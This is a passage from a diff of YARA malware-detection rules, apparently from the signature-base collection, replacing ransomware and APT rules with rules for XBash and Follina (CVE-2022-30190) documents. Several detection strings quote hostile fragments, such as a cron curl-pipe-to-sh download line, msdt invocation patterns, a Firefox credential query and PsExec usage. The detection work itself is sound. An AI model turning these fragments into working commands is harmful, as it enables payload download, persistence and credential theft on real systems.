-		$s4 = "CryptUnprotectMemory failed" fullword wide
+		$s1 = "echo \"*/5 * * * * curl -fsSL" fullword ascii
+		$s2 = ".sh|sh\" > /var/spool/cron/root" ascii
+		$s3 = "#chmod +x /tmp/hawk" fullword ascii
+		$s4 = "if [ ! -f \"/tmp/root.sh\" ]" fullword ascii
+		$s5 = ".sh > /tmp/lower.sh" ascii
+		$s6 = "chmod 777 /tmp/root.sh" fullword ascii
+		$s7 = "-P /tmp && chmod +x /tmp/pools.txt" fullword ascii
+		$s8 = "-C /tmp/pools.txt>/dev/null 2>&1" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2449KB and all of them
+		uint16(0)==0x2123 and filesize <3KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_MAL_RANSOM_Venus_Nov22_1 : FILE
+rule SIGNATURE_BASE_MAL_Xbash_JS_Sep18 : FILE
 {
 	meta:
-		description = "Detects Venus Ransomware samples"
+		description = "Detects XBash malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0f7e0ca4-c5e2-5557-92de-2e0d73035f12"
-		date = "2022-11-16"
-		modified = "2023-12-05"
-		reference = "https://twitter.com/dyngnosis/status/1592588860168421376"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_venus.yar#L3-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c94d59015897f180ef55608a2761b37c7b52193e28895ea6a4c0548acf3ad34"
-		score = 85
+		id = "e891d146-f92d-5144-a1f2-ad308e309870"
+		date = "2018-09-18"
+		modified = "2023-01-06"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_xbash.yar#L50-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cf2f9006e0ab07f6ff1a0ce4946af34468f7c74143c853c5d77c6db725bb590a"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "46f9cbc3795d6be0edd49a2c43efe6e610b82741755c5076a89eeccaf98ee834"
-		hash2 = "6d8e2d8f6aeb0f4512a53fe83b2ef7699513ebaff31735675f46d1beea3a8e05"
-		hash3 = "931cab7fbc0eb2bbc5768f8abdcc029cef76aff98540d9f5214786dccdb6a224"
-		hash4 = "969bfe42819e30e35ca601df443471d677e04c988928b63fccb25bf0531ea2cc"
-		hash5 = "db6fcd33dcb3f25890c28e47c440845b17ce2042c34ade6d6508afd461bfa21c"
-		hash6 = "ee036f333a0c4a24d9aa09848e635639e481695a9209474900eb71c9e453256b"
-		hash7 = "fa7ba459236c7b27a0429f1961b992ab87fc8b3427469fd98bfc272ae6852063"
+		hash1 = "f888dda9ca1876eba12ffb55a7a993bd1f5a622a30045a675da4955ede3e4cb8"
 
 	strings:
-		$x1 = "<html><head><title>Venus</title><style type = \"text" ascii fullword
-		$x2 = "xXBLTZKmAu9pjcfxrIK4gkDp/J9XXATjuysFRXG4rH4=" ascii fullword
-		$x3 = "%s%x%x%x%x.goodgame" wide fullword
-		$s1 = "/c ping localhost -n 3 > nul & del %s" ascii fullword
-		$s2 = "C:\\Windows\\%s.png" wide
-		$op1 = { 8b 4c 24 24 46 8b 7c 24 14 41 8b 44 24 30 81 c7 00 04 00 00 81 44 24 10 00 04 00 00 40 }
-		$op2 = { 57 c7 45 fc 00 00 00 00 7e 3f 50 33 c0 74 03 9b 6e }
-		$op3 = { 66 89 45 d4 0f 11 45 e8 e8 a8 e7 ff ff 83 c4 14 8d 45 e8 50 8d 45 a4 50 }
+		$s1 = "var path=WSHShell" fullword ascii
+		$s2 = "var myObject= new ActiveXObject(" ascii
+		$s3 = "window.resizeTo(0,0)" fullword ascii
+		$s4 = "<script language=\"JScript\">" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and (pe.imphash()=="bb2600e94092da119ee6acbbd047be43" or 1 of ($x*) or 2 of them ) or 4 of them
+		filesize <5KB and 3 of them
 }
-rule SIGNATURE_BASE_Mal_Dropper_Httpexe_From_CAB : FILE
+rule SIGNATURE_BASE_SUSP_PS1_Msdt_Execution_May22 : CVE_2022_30190 FILE
 {
 	meta:
-		description = "Detects a dropper from a CAB file mentioned in the article"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f67c13e9-67e7-56aa-8ced-55e9bb814971"
-		date = "2016-05-25"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/13Wgy1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_danti_svcmondr.yar#L10-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d114a3ab348bba49a78852b87b712908bc974bf35a2b841099a232e761cad8f2"
-		score = 60
+		description = "Detects suspicious calls of msdt.exe as seen in CVE-2022-30190 / Follina exploitation"
+		author = "Nasreddine Bencherchali, Christian Burkard"
+		id = "caa8a042-ffd4-52b2-a9f0-86e6c83a0aa3"
+		date = "2022-05-31"
+		modified = "2022-07-08"
+		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_doc_follina.yar#L1-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "72ab851eecece30e11e2158da94267c64c187be400926ba6bbcbdc59d0a349dc"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9e7e5f70c4b32a4d5e8c798c26671843e76bb4bd5967056a822e982ed36e047b"
+		tags = "CVE-2022-30190, FILE"
 
 	strings:
-		$s1 = "029.Hdl" fullword ascii
-		$s2 = "http.exe" fullword ascii
+		$a = "PCWDiagnostic" ascii wide fullword
+		$sa1 = "msdt.exe" ascii wide
+		$sa2 = "msdt " ascii wide
+		$sa3 = "ms-msdt" ascii wide
+		$sb1 = "/af " ascii wide
+		$sb2 = "-af " ascii wide
+		$sb3 = "IT_BrowseForFile=" ascii wide
+		$fp1 = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00
+               46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00
+               00 00 70 00 63 00 77 00 72 00 75 00 6E 00 2E 00
+               65 00 78 00 65 00 }
+		$fp2 = "FilesFullTrust" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and ( all of ($s*)))
+		filesize <10MB and $a and 1 of ($sa*) and 1 of ($sb*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_Mal_Http_EXE : FILE
+rule SIGNATURE_BASE_SUSP_Doc_Wordxmlrels_May22 : CVE_2022_30190 FILE
 {
 	meta:
-		description = "Detects trojan from APT report named http.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bcae9920-56ea-54a1-857b-70c275090e19"
-		date = "2016-05-25"
-		modified = "2023-01-27"
-		reference = "https://goo.gl/13Wgy1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_danti_svcmondr.yar#L27-L58"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0e28b64bbfd2b6d40f4bd82373624d22df3d5c45c22d7155747f0ff33976207d"
-		score = 80
+		description = "Detects a suspicious pattern in docx document.xml.rels file as seen in CVE-2022-30190 / Follina exploitation"
+		author = "Tobias Michalski, Christian Burkard, Wojciech Cieslak"
+		id = "304c4816-b2f6-5319-9fe9-8f74bdb82ad0"
+		date = "2022-05-30"
+		modified = "2022-06-20"
+		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_doc_follina.yar#L34-L56"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "62f262d180a5a48f89be19369a8425bec596bc6a02ed23100424930791ae3df0"
+		logic_hash = "c9846f8c2c1724792de14ab4de0064f951a8faaf01cc27d873e600f29d59c842"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ad191d1d18841f0c5e48a5a1c9072709e2dd6359a6f6d427e0de59cfcd1d9666"
+		tags = "CVE-2022-30190, FILE"
 
 	strings:
-		$x1 = "Content-Disposition: form-data; name=\"file1\"; filename=\"%s\"" fullword ascii
-		$x2 = "%ALLUSERSPROFILE%\\Accessories\\wordpade.exe" fullword ascii
-		$x3 = "\\dumps.dat" ascii
-		$x4 = "\\wordpade.exe" ascii
-		$x5 = "\\%s|%s|4|%d|%4d-%02d-%02d %02d:%02d:%02d|" ascii
-		$x6 = "\\%s|%s|5|%d|%4d-%02d-%02d %02d:%02d:%02d|" ascii
-		$x7 = "cKaNBh9fnmXgJcSBxx5nFS+8s7abcQ==" fullword ascii
-		$x8 = "cKaNBhFLn1nXMcCR0RlbMQ==" fullword ascii
-		$s1 = "SELECT * FROM moz_logins;" fullword ascii
-		$s2 = "makescr.dat" fullword ascii
-		$s3 = "%s\\Mozilla\\Firefox\\profiles.ini" fullword ascii
-		$s4 = "?moz-proxy://" ascii
-		$s5 = "[%s-%s] Title: %s" fullword ascii
-		$s6 = "Cforeign key mismatch - \"%w\" referencing \"%w\"" fullword ascii
-		$s7 = "Windows 95 SR2" fullword ascii
-		$s8 = "\\|%s|0|0|" ascii
+		$a1 = "<Relationships" ascii
+		$a2 = "TargetMode=\"External\"" ascii
+		$x1 = ".html!" ascii
+		$x2 = ".htm!" ascii
+		$x3 = "%2E%68%74%6D%6C%21" ascii
+		$x4 = "%2E%68%74%6D%21" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) and 2 of ($s*))) or (3 of ($x*))
+		filesize <50KB and all of ($a*) and 1 of ($x*)
 }
-rule SIGNATURE_BASE_Mal_Potplayer_DLL : FILE
+rule SIGNATURE_BASE_SUSP_Doc_RTF_Externalresource_May22 : CVE_2022_30190 FILE
 {
 	meta:
-		description = "Detects a malicious PotPlayer.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "71d34266-63e0-5a97-9a80-952be917641a"
-		date = "2016-05-25"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/13Wgy1"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_danti_svcmondr.yar#L60-L77"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1d1b68fa8de2e4ddfa71cbcd5e166181370172cc8a3167ade2da393e4f7998f1"
+		description = "Detects a suspicious pattern in RTF files which downloads external resources as seen in CVE-2022-30190 / Follina exploitation"
+		author = "Tobias Michalski, Christian Burkard"
+		id = "71bb97e0-ec12-504c-a1f6-25039ac91c86"
+		date = "2022-05-30"
+		modified = "2022-05-31"
+		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_doc_follina.yar#L58-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c841e0c1ff78bf8dade5f573a7452b16a7f447cfc19417704b727684a8f3d3ff"
 		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "705409bc11fb45fa3c4e2fa9dd35af7d4613e52a713d9c6ea6bc4baff49aa74a"
+		tags = "CVE-2022-30190, FILE"
 
 	strings:
-		$x1 = "C:\\Users\\john\\Desktop\\PotPlayer\\Release\\PotPlayer.pdb" fullword ascii
-		$s3 = "PotPlayer.dll" fullword ascii
-		$s4 = "\\update.dat" ascii
+		$s1 = " LINK htmlfile \"http" ascii
+		$s2 = ".html!\" " ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and $x1 or all of ($s*)
+		uint32be(0)==0x7B5C7274 and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_Macro_Staroffice : FILE
+rule SIGNATURE_BASE_EXPL_Follina_CVE_2022_30190_Msdt_Msprotocoluri_May22 : CVE_2022_30190 FILE
 {
 	meta:
-		description = "Suspicious macro in StarOffice"
-		author = "John Lambert @JohnLaTwC"
-		id = "92110a87-66b4-5fc5-b3f5-3e59ec2671b2"
-		date = "2019-02-06"
-		modified = "2021-05-27"
-		reference = "https://twitter.com/JohnLaTwC/status/1093259873993732096"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_macro_staroffice_suspicious.yar#L1-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "49385335488fa0a598ed48203d9483c5c2f53ae287e003a8cf7d64d56280e62a"
-		score = 60
-		quality = 81
-		tags = "FILE"
-		hash1 = "8495d37825dab8744f7d2c8049fc6b70b1777b9184f0abe69ce314795480ce39"
-		hash2 = "25b4214da1189fd30d3de7c538aa8b606f22c79e50444e5733fb1c6d23d71fbe"
-		hash3 = "322f314102f67a16587ab48a0f75dfaf27e4b044ffdc3b88578351c05b4f39db"
-		hash4 = "705429725437f7e0087a6159708df97992abaadff0fa48fdf25111d34a3e2f20"
-		hash5 = "7141d94e827d3b24810813d6b2e3fb851da0ee2958ef347154bc28153b23874a"
-		hash6 = "7c0e85c0a4d96080ca341d3496743f0f113b17613660812d40413be6d453eab4"
-		hash7 = "8d59f1e2abcab9efb7f833d478d1d1390e7456092f858b656ee0024daf3d1aa3"
-		hash8 = "9846b942d9d1e276c95361180e9326593ea46d3abcce9c116c204954bbfe3fdc"
-		hash9 = "aa0c83f339c8c16ad21dec41e4605d4e327adbbb78827dcad250ed64d2ceef1c"
-		hash10 = "b0be54c7210b06e60112a119c235e23c9edbe40b1c1ce1877534234f82b6b302"
-		hash11 = "bf581ebb96b8ca4f254ab4d200f9a053aff8187715573d9a1cbd443df0f554e3"
-		hash12 = "de45634064af31cb6768e4912cac284a76a6e66d398993df1aeee8ce26e0733b"
+		description = "Detects the malicious usage of the ms-msdt URI as seen in CVE-2022-30190 / Follina exploitation"
+		author = "Tobias Michalski, Christian Burkard"
+		id = "62e67c25-a420-5dac-9d1c-b0648ea6b574"
+		date = "2022-05-30"
+		modified = "2022-07-18"
+		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_doc_follina.yar#L76-L94"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d56820737951f97606749c74025589e6a8ecbe70cfff069492368b2ba8528a7d"
+		score = 80
+		quality = 85
+		tags = "CVE-2022-30190, FILE"
+		hash1 = "4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784"
+		hash2 = "778cbb0ee4afffca6a0b788a97bc2f4855ceb69ddc5eaa230acfa2834e1aeb07"
 
 	strings:
-		$r1 = "StarBasic"
-		$r2 = "</script:module>"
-		$s1 = "Shell" nocase
-		$s2 = ".Run" nocase
-		$s3 = ".PutInClipboard" nocase
-		$s4 = "powershell" nocase
-		$fp1 = "LibreOffice project" ascii
+		$re1 = /location\.href\s{0,20}=\s{0,20}"ms-msdt:/
+		$a1 = "%6D%73%2D%6D%73%64%74%3A%2F" ascii
 
 	condition:
-		filesize <1MB and uint32be(0)==0x3c3f786d and all of ($r*) and 1 of ($s*) and not 1 of ($fp*)
+		filesize >3KB and filesize <100KB and 1 of them
 }
-rule SIGNATURE_BASE_Triton_Trilog : FILE
+rule SIGNATURE_BASE_SUSP_Doc_RTF_Ole2Link_Jun22 : FILE
 {
 	meta:
-		description = "Detects Triton APT malware - file trilog.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ae2c9b47-2a67-50c6-9d2a-dc47b4fa69ef"
-		date = "2017-12-14"
+		description = "Detects a suspicious pattern in RTF files which downloads external resources"
+		author = "Christian Burkard"
+		id = "e9c83d58-6214-51d5-882a-4bd2ed6acc9a"
+		date = "2022-06-01"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/vtQoCQ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_triton.yar#L70-L85"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6406e9e7651978a6817079945dc801afdb6c16dd107527cbfd9a946eca27a51a"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_doc_follina.yar#L96-L127"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4abc20e5130b59639e20bd6b8ad759af18eb284f46e99a5cc6b4f16f09456a68"
+		logic_hash = "36cb711399197c694ac4fa4fd49cd5d587a830e152a138c81851b8e16301803d"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e8542c07b2af63ee7e72ce5d97d91036c5da56e2b091aa2afe737b224305d230"
 
 	strings:
-		$s1 = "inject.bin" ascii
-		$s2 = "PYTHON27.DLL" fullword ascii
-		$s3 = "payload" ascii
+		$sa = "\\objdata" ascii nocase
+		$sb1 = "4f4c45324c696e6b" ascii
+		$sb2 = "4F4C45324C696E6B" ascii
+		$sc1 = "d0cf11e0a1b11ae1" ascii
+		$sc2 = "D0CF11E0A1B11AE1" ascii
+		$x1 = "68007400740070003a002f002f00" ascii
+		$x2 = "68007400740070003A002F002F00" ascii
+		$x3 = "680074007400700073003a002f002f00" ascii
+		$x4 = "680074007400700073003A002F002F00" ascii
+		$x5 = "6600740070003a002f002f00" ascii
+		$x6 = "6600740070003A002F002F00" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <60KB and all of them
+		( uint32be(0)==0x7B5C7274 or uint32be(0)==0x7B5C2A5C) and $sa and 1 of ($sb*) and 1 of ($sc*) and 1 of ($x*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_TA17_293A_Malware_1
+rule SIGNATURE_BASE_SUSP_Doc_RTF_Ole2Link_EMAIL_Jun22 : FILE
 {
 	meta:
-		description = "inveigh pen testing tools & related artifacts"
-		author = "US-CERT Code Analysis Team (modified by Florian Roth)"
-		id = "297611c9-f4b1-5618-bd43-5a7444365727"
-		date = "2017-07-17"
+		description = "Detects a suspicious pattern in RTF files which downloads external resources inside e-mail attachments"
+		author = "Christian Burkard"
+		id = "48cde505-3ce4-52ef-b338-0c08ac4f63de"
+		date = "2022-06-01"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_293A.yar#L14-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "408297496dfb1cc28e1caa7faaf8537b7970bb1742e1b373175f8273fe11f19d"
-		score = 50
-		quality = 75
-		tags = ""
-		hash0 = "61C909D2F625223DB2FB858BBDF42A76"
-		hash1 = "A07AA521E7CAFB360294E56969EDA5D6"
-		hash2 = "BA756DD64C1147515BA2298B6A760260"
-		hash3 = "8943E71A8C73B5E343AA9D2E19002373"
-		hash4 = "04738CA02F59A5CD394998A99FCD9613"
-		hash5 = "038A97B4E2F37F34B255F0643E49FC9D"
-		hash6 = "65A1A73253F04354886F375B59550B46"
-		hash7 = "AA905A3508D9309A93AD5C0EC26EBC9B"
-		hash8 = "5DBEF7BDDAF50624E840CCBCE2816594"
-		hash9 = "722154A36F32BA10E98020A8AD758A7A"
-		hash10 = "4595DBE00A538DF127E0079294C87DA0"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_doc_follina.yar#L129-L188"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4abc20e5130b59639e20bd6b8ad759af18eb284f46e99a5cc6b4f16f09456a68"
+		logic_hash = "fcbb3e32762f8c67b5b226e8095b767d630f8c118521a82fc22f9a3cc272b794"
+		score = 75
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$n1 = "file://"
-		$ax1 = "184.154.150.66"
-		$ax2 = "5.153.58.45"
-		$ax3 = "62.8.193.206"
-		$ax4 = "/pshare1/icon"
-		$ax5 = "/ame_icon.png"
-		$ax6 = "/1/ree_stat/p"
-		$s1 = "(g.charCodeAt(c)^l[(l[b]+l[e])%256])"
-		$s2 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
-		$s3 = "VXNESWJfSjY3grKEkEkRuZeSvkE="
-		$s4 = "NlZzSZk="
-		$s5 = "WlJTb1q5kaxqZaRnser3sw=="
-		$x1 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }
-		$x2 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }
-		$x3 = "fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])"
-		$x4 = "ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat"
-		$x5 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }
-		$x6 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }
-		$x7 = { 476F206275696C642049443A202266626433373937623163313465306531 }
-		$x8 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }
-		$x9 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }
-		$x10 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }
-		$x11 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }
-		$x12 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
-		$x13 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
-		$x14 = "http://bit.ly/2m0x8IH"
+		$sa1 = "XG9iamRhdG" ascii
+		$sa2 = "xvYmpkYXRh" ascii
+		$sa3 = "cb2JqZGF0Y" ascii
+		$sb1 = "NGY0YzQ1MzI0YzY5NmU2Y" ascii
+		$sb2 = "RmNGM0NTMyNGM2OTZlNm" ascii
+		$sb3 = "0ZjRjNDUzMjRjNjk2ZTZi" ascii
+		$sb4 = "NEY0QzQ1MzI0QzY5NkU2Q" ascii
+		$sb5 = "RGNEM0NTMyNEM2OTZFNk" ascii
+		$sb6 = "0RjRDNDUzMjRDNjk2RTZC" ascii
+		$sc1 = "ZDBjZjExZTBhMWIxMWFlM" ascii
+		$sc2 = "QwY2YxMWUwYTFiMTFhZT" ascii
+		$sc3 = "kMGNmMTFlMGExYjExYWUx" ascii
+		$sc4 = "RDBDRjExRTBBMUIxMUFFM" ascii
+		$sc5 = "QwQ0YxMUUwQTFCMTFBRT" ascii
+		$sc6 = "EMENGMTFFMEExQjExQUUx" ascii
+		$x1 = "NjgwMDc0MDA3NDAwNzAwMDNhMDAyZjAwMmYwM" ascii
+		$x2 = "Y4MDA3NDAwNzQwMDcwMDAzYTAwMmYwMDJmMD" ascii
+		$x3 = "2ODAwNzQwMDc0MDA3MDAwM2EwMDJmMDAyZjAw" ascii
+		$x4 = "NjgwMDc0MDA3NDAwNzAwMDNBMDAyRjAwMkYwM" ascii
+		$x5 = "Y4MDA3NDAwNzQwMDcwMDAzQTAwMkYwMDJGMD" ascii
+		$x6 = "2ODAwNzQwMDc0MDA3MDAwM0EwMDJGMDAyRjAw" ascii
+		$x7 = "NjgwMDc0MDA3NDAwNzAwMDczMDAzYTAwMmYwMDJmMD" ascii
+		$x8 = "Y4MDA3NDAwNzQwMDcwMDA3MzAwM2EwMDJmMDAyZjAw" ascii
+		$x9 = "2ODAwNzQwMDc0MDA3MDAwNzMwMDNhMDAyZjAwMmYwM" ascii
+		$x10 = "NjgwMDc0MDA3NDAwNzAwMDczMDAzQTAwMkYwMDJGMD" ascii
+		$x11 = "Y4MDA3NDAwNzQwMDcwMDA3MzAwM0EwMDJGMDAyRjAw" ascii
+		$x12 = "2ODAwNzQwMDc0MDA3MDAwNzMwMDNBMDAyRjAwMkYwM" ascii
+		$x13 = "NjYwMDc0MDA3MDAwM2EwMDJmMDAyZjAw" ascii
+		$x14 = "Y2MDA3NDAwNzAwMDNhMDAyZjAwMmYwM" ascii
+		$x15 = "2NjAwNzQwMDcwMDAzYTAwMmYwMDJmMD" ascii
+		$x16 = "NjYwMDc0MDA3MDAwM0EwMDJGMDAyRjAw" ascii
+		$x17 = "Y2MDA3NDAwNzAwMDNBMDAyRjAwMkYwM" ascii
+		$x18 = "2NjAwNzQwMDcwMDAzQTAwMkYwMDJGMD" ascii
 
 	condition:
-		($n1 and 1 of ($ax*)) or 2 of ($s*) or 1 of ($x*)
+		filesize <10MB and 1 of ($sa*) and 1 of ($sb*) and 1 of ($sc*) and 1 of ($x*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_TA17_293A_Energetic_Bear_Api_Hashing_Tool : FILE
+rule SIGNATURE_BASE_SUSP_DOC_RTF_Externalresource_EMAIL_Jun22 : CVE_2022_30190 FILE
 {
 	meta:
-		description = "Energetic Bear API Hashing Tool"
-		author = "CERT RE Team"
-		id = "4e58800a-9618-5d8b-954c-e843be6002c2"
-		date = "2024-02-04"
+		description = "Detects a suspicious pattern in RTF files which downloads external resources as seen in CVE-2022-30190 / Follina exploitation inside e-mail attachment"
+		author = "Christian Burkard"
+		id = "3ddc838c-8520-5572-9652-8cb823f83e27"
+		date = "2022-06-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_293A.yar#L77-L93"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5f8a770c727cdd2d32d7cd1ad45ee8b37f7fc63c9e7f4311d318eb15d9050909"
-		score = 75
+		reference = "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_doc_follina.yar#L190-L216"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "73e76bd80f77640c0d8d47ebb7903eb9cc23336fbe653e7d008cae6a0de7c45b"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		assoc_report = "DHS Report TA17-293A"
+		tags = "CVE-2022-30190, FILE"
 
 	strings:
-		$api_hash_func_v1 = { 8A 08 84 C9 74 ?? 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }
-		$api_hash_func_v2 = { 8A 08 84 C9 74 ?? 80 C9 60 01 CB C1 E3 01 03 44 24 14 EB EC }
-		$api_hash_func_x64 = { 8A 08 84 C9 74 ?? 80 C9 60 48 01 CB 48 C1 E3 01 48 03 45 20 EB EA }
-		$http_push = "X-mode: push" nocase
-		$http_pop = "X-mode: pop" nocase
+		$sa1 = "PFJlbGF0aW9uc2hpcH" ascii
+		$sa2 = "xSZWxhdGlvbnNoaXBz" ascii
+		$sa3 = "8UmVsYXRpb25zaGlwc" ascii
+		$sb1 = "VGFyZ2V0TW9kZT0iRXh0ZXJuYWwi" ascii
+		$sb2 = "RhcmdldE1vZGU9IkV4dGVybmFsI" ascii
+		$sb3 = "UYXJnZXRNb2RlPSJFeHRlcm5hbC" ascii
+		$sc1 = "Lmh0bWwhI" ascii
+		$sc2 = "5odG1sIS" ascii
+		$sc3 = "uaHRtbCEi" ascii
 
 	condition:
